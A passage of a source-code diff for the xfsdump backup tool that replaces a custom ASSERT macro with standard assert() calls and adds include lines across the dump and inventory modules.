MLOG_MEDIA, "Media op: begin media file\n" ); @@ -5588,7 +5589,7 @@ Media_mfile_begin( drive_t *drivep, context_t *contextp, bool_t intr_allowed ) mediawrittentopr = BOOL_TRUE; goto changemedia; default: - ASSERT( 0 ); + assert( 0 ); return RV_CORE; } } @@ -5685,11 +5686,11 @@ position: intgen_t status; mlog( MLOG_VERBOSE | MLOG_MEDIA, _( "stream terminator found\n") ); - ASSERT( contextp->cc_Media_useterminatorpr ); - ASSERT( dcaps & DRIVE_CAP_BSF ); /* redundant */ + assert( contextp->cc_Media_useterminatorpr ); + assert( dcaps & DRIVE_CAP_BSF ); /* redundant */ status = 0; rval = ( * dop->do_bsf )( drivep, 0, &status ); - ASSERT( rval == 0 ); + assert( rval == 0 ); if ( status == DRIVE_ERROR_DEVICE ) { mlog( MLOG_NORMAL | MLOG_ERROR | MLOG_MEDIA, _( "encountered media error " @@ -5742,10 +5743,10 @@ position: intgen_t status; mlog( MLOG_NORMAL | MLOG_WARNING | MLOG_MEDIA, _( "repositioning to overwrite\n") ); - ASSERT( dcaps & DRIVE_CAP_BSF ); + assert( dcaps & DRIVE_CAP_BSF ); status = 0; rval = ( * dop->do_bsf )( drivep, 0, &status ); - ASSERT( rval == 0 ); + assert( rval == 0 ); if ( status == DRIVE_ERROR_DEVICE ) { return RV_DRIVE; } @@ -5881,7 +5882,7 @@ position: assert( dcaps & DRIVE_CAP_BSF ); status = 0; rval = ( * dop->do_bsf )( drivep, 0, &status ); - ASSERT( rval == 0 ); + assert( rval == 0 ); if ( status == DRIVE_ERROR_DEVICE ) { return RV_DRIVE; } @@ -5923,7 +5924,7 @@ changemedia: /* first eject the current media object if capability supported */ - ASSERT( mediapresentpr != BOOL_UNKNOWN ); + assert( mediapresentpr != BOOL_UNKNOWN ); if ( mediapresentpr == BOOL_TRUE ) { if ( dcaps & DRIVE_CAP_EJECT ) { rval = ( * dop->do_eject_media )( drivep ); @@ -5949,7 +5950,7 @@ changemedia: */ if ( drivecnt > 1 && ! stdoutpiped ) { ix_t thrdix = drivep->d_index; - ASSERT( sistr ); + assert( sistr ); mlog( MLOG_NORMAL | MLOG_NOTE | MLOG_MEDIA, _( "please change media: " "type %s to confirm media change\n"), @@ -5983,8 +5984,8 @@ changemedia: goto position; write: - ASSERT( mediapresentpr == BOOL_TRUE ); - ASSERT( virginmediapr != BOOL_UNKNOWN ); + assert( mediapresentpr == BOOL_TRUE ); + assert( virginmediapr != BOOL_UNKNOWN ); if ( intr_allowed && cldmgr_stop_requested( )) { return RV_INTR; @@ -6024,8 +6025,8 @@ write: mwhdrp->mh_mediaix++; /* pre-initialized to -1 */ } - ASSERT( mwhdrp->mh_mediaix != ( u_int32_t )( -1 )); - ASSERT( mwhdrp->mh_dumpfileix != ( u_int32_t )( -1 )); + assert( mwhdrp->mh_mediaix != ( u_int32_t )( -1 )); + assert( mwhdrp->mh_dumpfileix != ( u_int32_t )( -1 )); /* do not allow interleaving of media files from different xfsdumps. */ @@ -6090,7 +6091,7 @@ write: } } } else { - ASSERT( ! virginmediapr ); + assert( ! virginmediapr ); uuid_copy(mwhdrp->mh_mediaid, mrhdrp->mh_mediaid); ( void )strncpyterm( mwhdrp->mh_medialabel, mrhdrp->mh_medialabel, @@ -6139,14 +6140,14 @@ Media_mfile_end( drive_t *drivep, mlog( MLOG_DEBUG | MLOG_MEDIA, "Media op: end media file\n" ); - ASSERT( contextp->cc_Media_begin_entrystate == BES_INVAL ); + assert( contextp->cc_Media_begin_entrystate == BES_INVAL ); /* call drive's end_write op to flush the tail of the media file * if has previously hit EOM, this is moot. */ rval = ( dop->do_end_write )( drivep, ncommittedp ); if ( hit_eom ) { - ASSERT( ! rval ); + assert( ! rval ); contextp->cc_Media_begin_entrystate = BES_ENDEOM; return RV_EOM; } @@ -6198,7 +6199,7 @@ retry: preamblestr[ preamblecnt++ ] = "\n"; preamblestr[ preamblecnt++ ] = fold; preamblestr[ preamblecnt++ ] = "\n\n"; - ASSERT( preamblecnt <= PREAMBLEMAX ); + assert( preamblecnt <= PREAMBLEMAX ); dlog_begin( preamblestr, preamblecnt ); /* query: ask if overwrite ok @@ -6209,13 +6210,13 @@ retry: (unsigned int)drivep->d_index ); querycnt = 0; querystr[ querycnt++ ] = question; - ASSERT( querycnt <= QUERYMAX ); + assert( querycnt <= QUERYMAX ); choicecnt = 0; dontix = choicecnt; choicestr[ choicecnt++ ] = "don't overwrite"; doix = choicecnt; choicestr[ choicecnt++ ] = "overwrite"; - ASSERT( choicecnt <= CHOICEMAX ); + assert( choicecnt <= CHOICEMAX ); sigintix = IXMAX - 1; responseix = dlog_multi_query( querystr, @@ -6239,7 +6240,7 @@ retry: } else { ackstr[ ackcnt++ ] = "keyboard interrupt\n"; } - ASSERT( ackcnt <= ACKMAX ); + assert( ackcnt <= ACKMAX ); dlog_multi_ack( ackstr, ackcnt ); @@ -6248,7 +6249,7 @@ retry: postamblestr[ postamblecnt++ ] = "\n"; postamblestr[ postamblecnt++ ] = fold; postamblestr[ postamblecnt++ ] = "\n\n"; - ASSERT( postamblecnt <= POSTAMBLEMAX ); + assert( postamblecnt <= POSTAMBLEMAX ); dlog_end( postamblestr, postamblecnt ); @@ -6336,7 +6337,7 @@ retry: preamblestr[ preamblecnt++ ] = "\n"; preamblestr[ preamblecnt++ ] = fold; preamblestr[ preamblecnt++ ] = "\n\n"; - ASSERT( preamblecnt <= PREAMBLEMAX ); + assert( preamblecnt <= PREAMBLEMAX ); dlog_begin( preamblestr, preamblecnt ); /* query: ask if overwrite ok @@ -6350,13 +6351,13 @@ retry: (unsigned int)drivep->d_index ); querycnt = 0; querystr[ querycnt++ ] = question; - ASSERT( querycnt <= QUERYMAX ); + assert( querycnt <= QUERYMAX ); choicecnt = 0; dontix = choicecnt; choicestr[ choicecnt++ ] = "don't erase"; doix = choicecnt; choicestr[ choicecnt++ ] = "erase"; - ASSERT( choicecnt <= CHOICEMAX ); + assert( choicecnt <= CHOICEMAX ); sigintix = IXMAX - 1; responseix = dlog_multi_query( querystr, @@ -6380,7 +6381,7 @@ retry: } else { ackstr[ ackcnt++ ] = "keyboard interrupt\n"; } - ASSERT( ackcnt <= ACKMAX ); + assert( ackcnt <= ACKMAX ); dlog_multi_ack( ackstr, ackcnt ); @@ -6389,7 +6390,7 @@ retry: postamblestr[ postamblecnt++ ] = "\n"; postamblestr[ postamblecnt++ ] = fold; postamblestr[ postamblecnt++ ] = "\n\n"; - ASSERT( postamblecnt <= POSTAMBLEMAX ); + assert( postamblecnt <= POSTAMBLEMAX ); dlog_end( postamblestr, postamblecnt ); @@ -6448,7 +6449,7 @@ retry: preamblestr[ preamblecnt++ ] = "\n"; preamblestr[ preamblecnt++ ] = fold; preamblestr[ preamblecnt++ ] = "\n\n"; - ASSERT( preamblecnt <= PREAMBLEMAX ); + assert( preamblecnt <= PREAMBLEMAX ); dlog_begin( preamblestr, preamblecnt ); responseix = dlog_string_query( Media_prompt_label_cb, @@ -6474,7 +6475,7 @@ retry: ackstr[ ackcnt++ ] = "abort\n"; } - ASSERT( ackcnt <= ACKMAX ); + assert( ackcnt <= ACKMAX ); dlog_string_ack( ackstr, ackcnt ); @@ -6483,7 +6484,7 @@ retry: postamblestr[ postamblecnt++ ] = "\n"; postamblestr[ postamblecnt++ ] = fold; postamblestr[ postamblecnt++ ] = "\n\n"; - ASSERT( postamblecnt <= POSTAMBLEMAX ); + assert( postamblecnt <= POSTAMBLEMAX ); dlog_end( postamblestr, postamblecnt ); diff --git a/dump/inomap.c b/dump/inomap.c index a35059a..7a3069f 100644 --- a/dump/inomap.c +++ b/dump/inomap.c @@ -25,6 +25,7 @@ #include #include #include +#include #include "types.h" #include "util.h" @@ -185,7 +186,7 @@ inomap_build( jdm_fshandle_t *fshandlep, bstatbuflen * sizeof( xfs_bstat_t )); - ASSERT( bstatbufp ); + assert( bstatbufp ); /* count the number of inode groups, which will serve as a * starting point for the size of the inomap. @@ -369,7 +370,7 @@ inomap_build( jdm_fshandle_t *fshandlep, } else { ep = &startptp[ startptix + 1 ]; } - ASSERT( ! p->sp_flags ); + assert( ! p->sp_flags ); mlog( MLOG_VERBOSE | MLOG_INOMAP, _("stream %u: ino %llu offset %lld to "), startptix, @@ -606,8 +607,8 @@ cb_add( void *arg1, cb_hdrsz += ( EXTENTHDR_SZ * (statp->bs_extents + 1) ); } } else if ( resumed ) { - ASSERT( mode != S_IFDIR ); - ASSERT( changed ); + assert( mode != S_IFDIR ); + assert( changed ); } else { if ( mode == S_IFDIR ) { if ( cb_skip_unchanged_dirs ) { @@ -832,7 +833,7 @@ cb_startpt( void *arg1, return 0; } - ASSERT( cb_startptix < cb_startptcnt ); + assert( cb_startptix < cb_startptcnt ); estimate = estimate_dump_space( statp ); cb_accum += estimate + ( EXTENTHDR_SZ * (statp->bs_extents + 1) ); @@ -929,7 +930,7 @@ cb_startpt( void *arg1, } break; default: - ASSERT( 0 ); + assert( 0 ); return 1; } } while ( action == ( action_t )BUMP || action == ( action_t )SPLIT ); @@ -1042,7 +1043,7 @@ SEG_GET_BITS( seg_t *segp, xfs_ino_t ino ) static intgen_t inomap_init( intgen_t igrpcnt ) { - ASSERT( sizeof( hnk_t ) == HNKSZ ); + assert( sizeof( hnk_t ) == HNKSZ ); /* lastseg must be initialized with -1 offsets since * no segments have been added yet */ @@ -1483,7 +1484,7 @@ subtreelist_parse( jdm_fshandle_t *fshandlep, for ( subtreeix = 0 ; subtreeix < subtreecnt ; subtreeix++ ) { intgen_t cbrval = 0; char *currentpath = subtreebuf[ subtreeix ]; - ASSERT( *currentpath != '/' ); + assert( *currentpath != '/' ); ( void )diriter( fshandlep, fsfd, rootstatp, @@ -1669,7 +1670,7 @@ quantity2offset( jdm_fshandle_t *fshandlep, xfs_bstat_t *statp, off64_t qty ) } if ( bmap[ 0 ].bmv_entries <= 0 ) { - ASSERT( bmap[ 0 ].bmv_entries == 0 ); + assert( bmap[ 0 ].bmv_entries == 0 ); ( void )close( fd ); return offset_next; } diff --git a/inventory/inv_api.c b/inventory/inv_api.c index 65102e6..bd473e9 100644 --- a/inventory/inv_api.c +++ b/inventory/inv_api.c @@ -26,6 +26,7 @@ #include #include #include +#include #include "types.h" #include "mlog.h" @@ -48,7 +49,7 @@ inv_open( inv_predicate_t bywhat, inv_oflag_t forwhat, void *pred ) int index = 0; - ASSERT ( pred ); + assert ( pred ); fd = retval = init_idb ( pred, bywhat, forwhat, &tok ); if ( retval == I_DONE ) @@ -72,7 +73,7 @@ inv_open( inv_predicate_t bywhat, inv_oflag_t forwhat, void *pred ) return INV_TOKEN_NULL; } - ASSERT ( index > 0 ); + assert ( index > 0 ); /* Now we need to make sure that this has enough space */ INVLOCK( stobjfd, LOCK_SH ); @@ -170,12 +171,12 @@ inv_writesession_open( inv_sestoken_t sestok; inv_oflag_t forwhat; - ASSERT ( tok != INV_TOKEN_NULL ); - ASSERT ( sesid && fsid && mntpt && devpath ); + assert ( tok != INV_TOKEN_NULL ); + assert ( sesid && fsid && mntpt && devpath ); forwhat = tok->d_oflag; fd = tok->d_stobj_fd; - ASSERT ( forwhat != INV_SEARCH_ONLY ); - ASSERT ( fd > 0 ); + assert ( forwhat != INV_SEARCH_ONLY ); + assert ( fd > 0 ); if ( ! ( tok->d_update_flag & FSTAB_UPDATED ) ) { if ( fstab_put_entry( fsid, mntpt, devpath, forwhat ) < 0 ) { @@ -218,7 +219,7 @@ inv_writesession_open( /* create the writesession, and get ready for the streams to come afterwards */ rval = stobj_create_session( sestok, fd, sescnt, &ses, &hdr ); - ASSERT (rval > 0); + assert (rval > 0); INVLOCK( fd, LOCK_UN ); @@ -256,7 +257,7 @@ inv_writesession_close( inv_sestoken_t tok ) { int rval; - ASSERT ( tok != INV_TOKEN_NULL ); + assert ( tok != INV_TOKEN_NULL ); /* now update end_time in the inv index header */ rval = idx_put_sesstime( tok, INVT_ENDTIME ); @@ -287,7 +288,7 @@ inv_stream_open( int fd; bool_t err = BOOL_FALSE; - ASSERT ( tok != INV_TOKEN_NULL ); + assert ( tok != INV_TOKEN_NULL ); /* this memset is needed as a dump interrupted/crashed very soon * after starting results in an inventory with exteremely large @@ -446,9 +447,9 @@ inv_put_mediafile( int rval; - ASSERT ( tok != INV_TOKEN_NULL ); - ASSERT ( tok->md_sesstok->sd_invtok->d_update_flag & FSTAB_UPDATED ); - ASSERT ( tok->md_sesstok->sd_invtok->d_stobj_fd >= 0 ); + assert ( tok != INV_TOKEN_NULL ); + assert ( tok->md_sesstok->sd_invtok->d_update_flag & FSTAB_UPDATED ); + assert ( tok->md_sesstok->sd_invtok->d_stobj_fd >= 0 ); mf = (invt_mediafile_t *) calloc( 1, sizeof( invt_mediafile_t ) ); @@ -512,8 +513,8 @@ inv_get_sessioninfo( int fd; - ASSERT( tok != INV_TOKEN_NULL ); - ASSERT( tok->sd_invtok ); + assert( tok != INV_TOKEN_NULL ); + assert( tok->sd_invtok ); *bufpp = NULL; *bufszp = 0; fd = tok->sd_invtok->d_stobj_fd; @@ -579,8 +580,8 @@ inv_free_session( { uint i; - ASSERT(ses); - ASSERT(*ses); + assert(ses); + assert(*ses); for ( i = 0; i < (*ses)->s_nstreams; i++ ) { /* the array of mediafiles is contiguous */ diff --git a/inventory/inv_core.c b/inventory/inv_core.c index 3f7edb6..a83e7ef 100644 --- a/inventory/inv_core.c +++ b/inventory/inv_core.c @@ -25,6 +25,7 @@ #include #include #include +#include #include "types.h" #include "inv_priv.h" @@ -44,7 +45,7 @@ get_counters( int fd, void **cntpp, size_t cntsz ) { /* object must be locked at least SHARED by caller */ u_int num; - ASSERT( cntsz >= sizeof( invt_counter_t ) ); + assert( cntsz >= sizeof( invt_counter_t ) ); *cntpp = calloc( 1, cntsz); @@ -62,7 +63,7 @@ get_counters( int fd, void **cntpp, size_t cntsz ) "INV : Unknown version %d - Expected version %d\n"), (int) ( (invt_counter_t *)(*cntpp))->ic_vernum, (int) INV_VERSION ); - ASSERT ( ((invt_counter_t *)(*cntpp))->ic_vernum == + assert ( ((invt_counter_t *)(*cntpp))->ic_vernum == INV_VERSION ); } @@ -110,7 +111,7 @@ get_invtrecord( int fd, void *buf, size_t bufsz, off64_t off, { int nread; - ASSERT ( fd >= 0 ); + assert ( fd >= 0 ); if ( dolock ) INVLOCK( fd, LOCK_SH ); diff --git a/inventory/inv_files.c b/inventory/inv_files.c index f77eeec..34b7aac 100644 --- a/inventory/inv_files.c +++ b/inventory/inv_files.c @@ -23,6 +23,7 @@ #include #include #include +#include /*----------------------------------------------------------------------*/ @@ -50,28 +51,28 @@ static char inv_lockfilep[MGR_PATH_MAX]; char * inv_dirpath( void ) { - ASSERT(inv_base); + assert(inv_base); return inv_dirpathp; } char * inv_fstab( void ) { - ASSERT(inv_base); + assert(inv_base); return inv_fstabp; } char * inv_lockfile( void ) { - ASSERT(inv_base); + assert(inv_base); return inv_lockfilep; } char * inv_basepath( void ) { - ASSERT(inv_base); + assert(inv_base); return inv_base; } diff --git a/inventory/inv_fstab.c b/inventory/inv_fstab.c index 6567846..e87152f 100644 --- a/inventory/inv_fstab.c +++ b/inventory/inv_fstab.c @@ -25,6 +25,7 @@ #include #include #include +#include #include "types.h" #include "mlog.h" @@ -88,7 +89,7 @@ fstab_put_entry( uuid_t *fsidp, char *mntpt, char *dev, inv_oflag_t forwhat ) invt_fstab_t *arr; int rval = 1; - ASSERT( forwhat != INV_SEARCH_ONLY ); + assert( forwhat != INV_SEARCH_ONLY ); /* fd is locked on succesful return */ fd = fstab_getall( &arr, &cnt, &numfs, forwhat ); @@ -229,7 +230,7 @@ fstab_get_fname( void *pred, if ( bywhat != INV_BY_UUID ) free ( arr ); - ASSERT( (int) strlen( fname ) < INV_STRLEN ); + assert( (int) strlen( fname ) < INV_STRLEN ); return 1; } diff --git a/inventory/inv_idx.c b/inventory/inv_idx.c index 145745a..edb72b3 100644 --- a/inventory/inv_idx.c +++ b/inventory/inv_idx.c @@ -25,6 +25,7 @@ #include #include #include +#include #include "types.h" #include "mlog.h" #include "inv_priv.h" @@ -119,7 +120,7 @@ idx_insert_newentry( int fd, /* kept locked EX by caller */ We choose the former. */ /* the timeperiods had better not overlap */ - ASSERT(( tm > iarr[i].ie_timeperiod.tp_end ) && + assert(( tm > iarr[i].ie_timeperiod.tp_end ) && ( tm < iarr[i+1].ie_timeperiod.tp_start )); /* shift everything from (i+1) onwards by @@ -134,7 +135,7 @@ idx_insert_newentry( int fd, /* kept locked EX by caller */ } /* We couldnt find anything that fits */ - ASSERT( 0 ); /* We can't get here ! */ + assert( 0 ); /* We can't get here ! */ return -1; @@ -255,7 +256,7 @@ idx_create( char *fname, inv_oflag_t forwhat ) /* This is not to be called when the user wants to open the db for SEARCH_ONLY. */ - ASSERT( forwhat != INV_SEARCH_ONLY ); + assert( forwhat != INV_SEARCH_ONLY ); if ((fd = open ( fname , INV_OFLAG(forwhat) | O_CREAT, S_IRUSR|S_IWUSR ) ) < 0 ) { INV_PERROR ( fname ); @@ -477,8 +478,8 @@ idx_get_stobj( int invfd, inv_oflag_t forwhat, int *index ) return -1; /* at this point we know that there should be at least one invindex entry present */ - ASSERT ( ent != NULL ); - ASSERT ( ent->ie_filename ); + assert ( ent != NULL ); + assert ( ent->ie_filename ); fd = open( ent->ie_filename, INV_OFLAG(forwhat) ); if ( fd < 0 ) diff --git a/inventory/inv_mgr.c b/inventory/inv_mgr.c index 1f4a425..926b4c8 100644 --- a/inventory/inv_mgr.c +++ b/inventory/inv_mgr.c @@ -24,6 +24,7 @@ #include #include #include +#include #include "types.h" #include "mlog.h" #include "inv_priv.h" @@ -150,7 +151,7 @@ invmgr_query_all_sessions ( /* if on return, this is still null, the search failed */ *outarg = NULL; - ASSERT(inarg); + assert(inarg); fd = fstab_getall( &arr, &cnt, &numfs, forwhat ); /* special case missing file: ok, outarg says zero */ @@ -725,7 +726,7 @@ bool_t invmgr_trylock( invt_mode_t mode ) { int md; - ASSERT( invlock_fd >= 0 ); + assert( invlock_fd >= 0 ); md = (mode == INVT_RECONSTRUCT) ? LOCK_EX: LOCK_SH; @@ -738,7 +739,7 @@ invmgr_trylock( invt_mode_t mode ) void invmgr_unlock( void ) { - ASSERT( invlock_fd >= 0 ); + assert( invlock_fd >= 0 ); INVLOCK( invlock_fd, LOCK_UN ); diff --git a/inventory/inv_oref.c b/inventory/inv_oref.c index a124b07..b6cd61d 100644 --- a/inventory/inv_oref.c +++ b/inventory/inv_oref.c @@ -18,6 +18,7 @@ #include #include +#include #include "inv_priv.h" #include "inv_oref.h" @@ -34,8 +35,8 @@ oref_resolve_( intgen_t rval; type &= INVT_OTYPE_MASK; - ASSERT(type); - ASSERT(! OREF_ISRESOLVED(obj, INVT_OTYPE_MASK)); + assert(type); + assert(! OREF_ISRESOLVED(obj, INVT_OTYPE_MASK)); switch (type) { case INVT_OTYPE_INVIDX: @@ -51,7 +52,7 @@ oref_resolve_( break; default: - ASSERT(0); + assert(0); break; } @@ -73,12 +74,12 @@ oref_resolve_upto( { intgen_t rval = INV_OK; - ASSERT (OREF_ISRESOLVED(obj, INVT_OTYPE_MASK)); - ASSERT (OREF_ISLOCKED(obj)); + assert (OREF_ISRESOLVED(obj, INVT_OTYPE_MASK)); + assert (OREF_ISLOCKED(obj)); /* we arent interested in anything else */ type &= INVT_RES_MASK; - ASSERT(type); + assert(type); if (type >= INVT_RES_COUNTERS) { rval = oref_resolve_counters(obj); @@ -111,11 +112,11 @@ oref_resolve_entries( if (OREF_ISRESOLVED(obj, INVT_RES_ENTRIES)) return INV_OK; - ASSERT(! OREF_ISRESOLVED(INVT_OTYPE_STOBJ)); + assert(! OREF_ISRESOLVED(INVT_OTYPE_STOBJ)); if (OREF_ISRESOLVED(INVT_OTYPE_INVIDX)) { invt_entry_t *ent; - ASSERT(OREF_CNT_CURNUM(obj)); + assert(OREF_CNT_CURNUM(obj)); if (GET_ENTRIES(obj->fd, &ent, OREF_CNT_CURNUM(obj), sizeof(invt_entry_t)) < 0){ @@ -125,7 +126,7 @@ oref_resolve_entries( } else { invt_fstab_t *ent; - ASSERT(OREF_CNT_CURNUM(obj)); + assert(OREF_CNT_CURNUM(obj)); if (GET_ENTRIES(obj->fd, &ent, OREF_CNT_CURNUM(obj), sizeof(invt_fstab_t)) < 0){ return INV_ERR; @@ -184,10 +185,10 @@ oref_sync( intgen_t rval; type &= INVT_RES_MASK; - ASSERT(type); - ASSERT(OREF_ISRESOLVED(obj, INVT_OTYPE_MASK)); - ASSERT(OREF_ISRESOLVED(obj, type)); - ASSERT(OREF_ISLOCKED(obj)); + assert(type); + assert(OREF_ISRESOLVED(obj, INVT_OTYPE_MASK)); + assert(OREF_ISRESOLVED(obj, type)); + assert(OREF_ISLOCKED(obj)); switch (type) { case INVT_RES_COUNTERS: @@ -199,7 +200,7 @@ oref_sync( break; case INVT_RES_ENTRIES: - ASSERT(! OREF_ISRESOLVED(obj, INVT_OTYPE_STOBJ)); + assert(! OREF_ISRESOLVED(obj, INVT_OTYPE_STOBJ)); rval = PUT_REC_NOLOCK(obj->fd, OREF_ENTRIES(obj), @@ -209,7 +210,7 @@ oref_sync( break; default: - ASSERT(0); + assert(0); break; } @@ -226,13 +227,13 @@ oref_sync_append( intgen_t rval; type &= INVT_RES_MASK; - ASSERT(type); - ASSERT(OREF_ISRESOLVED(obj, INVT_OTYPE_MASK)); - ASSERT(OREF_ISLOCKED(obj)); + assert(type); + assert(OREF_ISRESOLVED(obj, INVT_OTYPE_MASK)); + assert(OREF_ISLOCKED(obj)); switch (type) { case INVT_RES_ENTRIES: - ASSERT(! OREF_ISRESOLVED(obj, INVT_OTYPE_STOBJ)); + assert(! OREF_ISRESOLVED(obj, INVT_OTYPE_STOBJ)); rval = PUT_REC_NOLOCK(obj->fd, entry, @@ -245,7 +246,7 @@ oref_sync_append( break; default: - ASSERT(0); + assert(0); break; } @@ -314,7 +315,7 @@ oref_resolve( invt_oref_t *stobj; int index; - ASSERT(! OREF_ISRESOLVED(invidx, INVT_OTYPE_MASK)); + assert(! OREF_ISRESOLVED(invidx, INVT_OTYPE_MASK)); OREF_SET_TYPE(invidx, INVT_OTYPE_INVIDX); @@ -393,7 +394,7 @@ oref_resolve_child( int *index) { invt_entry_t *ent; - ASSERT(OREF_IS_LOCKED(invidx)); + assert(OREF_IS_LOCKED(invidx)); if (oref_resolve_upto(invidx, INVT_RES_ENTRIES) == INV_ERR) return INV_ERR; @@ -402,8 +403,8 @@ oref_resolve_child( /* at this point we know that there should be at least one invindex entry present */ - ASSERT ( ent != NULL ); - ASSERT ( ent->ie_filename ); + assert ( ent != NULL ); + assert ( ent->ie_filename ); fd = open( ent->ie_filename, O_RDWR ); if ( fd < 0 ) { @@ -462,7 +463,7 @@ oref_resolve_new_stobj( invt_oref_t *stobj; inv_idbtoken_t tok; - ASSERT(OREF_ISLOCKED(invidx)); + assert(OREF_ISLOCKED(invidx)); memset ( &ent, 0, sizeof( ent ) ); stobj = calloc(1, sizeof(invt_oref_t)); diff --git a/inventory/inv_oref.h b/inventory/inv_oref.h index 5f4ed68..2562500 100644 --- a/inventory/inv_oref.h +++ b/inventory/inv_oref.h @@ -158,48 +158,48 @@ typedef struct invt_oref { { (oref)->token = tok; } #define OREF_SET_CNT(oref, cnt) \ - { ASSERT (OREF_ISRESOLVED(oref, INVT_OTYPE_MASK)); \ + { assert (OREF_ISRESOLVED(oref, INVT_OTYPE_MASK)); \ ((oref)->type & INVT_OTYPE_STOBJ) ? \ (oref)->cu_sescnt = (cnt): (oref)->cu_cnt = (cnt); \ (oref)->type |= INVT_RES_COUNTERS; } #define OREF_SET_ENTRIES(oref, ents) \ - { ASSERT ((oref)->type & (INVT_OTYPE_INVIDX | INVT_OTYPE_FSTAB));\ - ASSERT ((oref)->type & INVT_RES_COUNTERS); \ + { assert ((oref)->type & (INVT_OTYPE_INVIDX | INVT_OTYPE_FSTAB));\ + assert ((oref)->type & INVT_RES_COUNTERS); \ ((oref)->type & INVT_OTYPE_INVIDX) ? \ (oref)->eu_ent = ents : (oref)->eu_fstabent = ents; \ (oref)->type |= INVT_RES_ENTRIES; } #define OREF_SET_HDRS(oref, hdrs) \ - { ASSERT ((oref)->type & INVT_OTYPE_STOBJ); \ - ASSERT ((oref)->type & INVT_RES_COUNTERS); \ + { assert ((oref)->type & INVT_OTYPE_STOBJ); \ + assert ((oref)->type & INVT_RES_COUNTERS); \ (oref)->eu_hdr = hdrs; \ (oref)->type |= INVT_STOBJ_RES_HDRS; } #define OREF_SET_SESSIONS(oref, ses) \ - { ASSERT ((oref)->type & INVT_OTYPE_STOBJ); \ - ASSERT ((oref)->type & INVT_RES_COUNTERS); \ + { assert ((oref)->type & INVT_OTYPE_STOBJ); \ + assert ((oref)->type & INVT_RES_COUNTERS); \ (oref)->eu_ses = ses; \ (oref)->type |= INVT_STOBJ_RES_SESSIONS; } #define OREF_SET_STRMS(oref, strms) \ - { ASSERT ((oref)->type & INVT_OTYPE_STOBJ); \ - ASSERT ((oref)->type & INVT_RES_COUNTERS); \ + { assert ((oref)->type & INVT_OTYPE_STOBJ); \ + assert ((oref)->type & INVT_RES_COUNTERS); \ (oref)->eu_strm = strms; \ (oref)->type |= INVT_STOBJ_RES_STRMS; } #define OREF_SET_CHILD(oref, stobjref) \ - { ASSERT (! OREF_ISRESOLVED(oref, INVT_RES_KIN)); \ + { assert (! OREF_ISRESOLVED(oref, INVT_RES_KIN)); \ (oref)->ku_child = stobjref; \ (oref)->type |= INVT_RES_CHILD; } #define OREF_SET_PARENT(oref, invidxref) \ - { ASSERT (! OREF_ISRESOLVED(oref, INVT_RES_KIN)); \ + { assert (! OREF_ISRESOLVED(oref, INVT_RES_KIN)); \ (oref)->ku_parent = invidxref; \ (oref)->type |= INVT_RES_PARENT; } #define OREF_UNRESOLVE_CHILD(oref) \ - { ASSERT (OREF_ISRESOLVED(oref, INVT_RES_CHILD)); \ + { assert (OREF_ISRESOLVED(oref, INVT_RES_CHILD)); \ close((oref)->ku_child->fd); \ OREF_DESTROY((oref)->ku_child); \ (oref)->ku_child = 0; \ diff --git a/inventory/inv_stobj.c b/inventory/inv_stobj.c index becac17..42969b1 100644 --- a/inventory/inv_stobj.c +++ b/inventory/inv_stobj.c @@ -26,6 +26,7 @@ #include #include #include +#include #include "types.h" #include "timeutil.h" @@ -168,7 +169,7 @@ stobj_split( invt_idxinfo_t *idx, int fd, invt_sescounter_t *sescnt, if ( GET_SESHEADERS( fd, &harr, ns ) < 0 ) return -1; - ASSERT( harr != NULL ); + assert( harr != NULL ); if ( ( ix = stobj_find_splitpoint( fd, harr, ns, newsess->seshdr->sh_time ) ) == 0 ) @@ -390,7 +391,7 @@ stobj_sortheaders( int fd, u_int num ) if ( num < 2 ) return 1; hdrs = malloc( sz ); - ASSERT( hdrs ); + assert( hdrs ); if ( GET_REC_NOLOCK( fd, hdrs, sz, STOBJ_OFFSET( 0, 0 ) ) < 0 ) { free ( hdrs ); @@ -505,7 +506,7 @@ stobj_makefname( char *fname ) strcat( fname, str ); strcat( fname, INV_STOBJ_PREFIX ); - ASSERT( (int) strlen( fname ) < INV_STRLEN ); + assert( (int) strlen( fname ) < INV_STRLEN ); } @@ -571,7 +572,7 @@ stobj_create_session( { off64_t hoff; - ASSERT( tok && sescnt && ses && hdr ); + assert( tok && sescnt && ses && hdr ); hdr->sh_sess_off = -1; ses->s_cur_nstreams = 0; @@ -759,7 +760,7 @@ stobj_pack_sessinfo( int fd, invt_session_t *ses, invt_seshdr_t *hdr, /* Now we know how big this entire thing is going to be */ sesbufcp = sesbuf = calloc( 1, sessz ); - ASSERT( sesbuf ); + assert( sesbuf ); /* Copy everything. Note that we don't bother to adjust the offsets either in the seshdr or in the mediafiles, because we don't need @@ -801,7 +802,7 @@ stobj_pack_sessinfo( int fd, invt_session_t *ses, invt_seshdr_t *hdr, for ( j = 0; j < strms[i].st_nmediafiles; j++, off = mf.mf_nextmf ) { - ASSERT( off ); + assert( off ); if ( GET_REC_NOLOCK( fd, &mf, sizeof( invt_mediafile_t ), off ) <= 0 ) { @@ -941,7 +942,7 @@ stobj_delete_mobj(int fd, /* The prob is that we need to keep track of where we got these mfiles from as we get them, or we wont know how to put them back if they are dirty. */ - ASSERT( off ); + assert( off ); if ( GET_REC_NOLOCK( fd, mf, sizeof( invt_mediafile_t ), off ) <= 0 ) { @@ -1005,7 +1006,7 @@ stobj_unpack_sessinfo( char *tmpbuf; char *p = (char *)bufp; - ASSERT ( bufp ); + assert ( bufp ); tmpbuf = (char *)malloc(bufsz); @@ -1109,7 +1110,7 @@ stobj_unpack_sessinfo( (int)( p - (char *) bufp ), (int) bufsz, (int) ( sizeof( invt_entry_t ) ) ); } - ASSERT( (size_t) ( p - (char *) bufp ) == bufsz ); + assert( (size_t) ( p - (char *) bufp ) == bufsz ); return BOOL_TRUE; } @@ -1238,12 +1239,12 @@ stobj_copy_invsess(int fd, if (nmf) ises->s_streams[i].st_mediafiles = calloc( nmf, sizeof( inv_mediafile_t ) ); - ASSERT( !nmf || ises->s_streams[i].st_mediafiles ); + assert( !nmf || ises->s_streams[i].st_mediafiles ); for ( j = 0; j < nmf; j++, off = mf.mf_nextmf ) { - ASSERT( off ); + assert( off ); if ( GET_REC_NOLOCK( fd, &mf, sizeof( invt_mediafile_t ), off ) <= 0 ) { diff --git a/inventory/testmain.c b/inventory/testmain.c index cfd0654..d8c61e2 100644 --- a/inventory/testmain.c +++ b/inventory/testmain.c @@ -22,6 +22,7 @@ #include #include #include +#include #include "types.h" #include "mlog.h" #include "getopt.h" @@ -92,12 +93,12 @@ recons_test( int howmany ) rval = get_invtrecord( fd, &sarr[i], sizeof( uuid_t ) + sizeof( size_t ), 0, 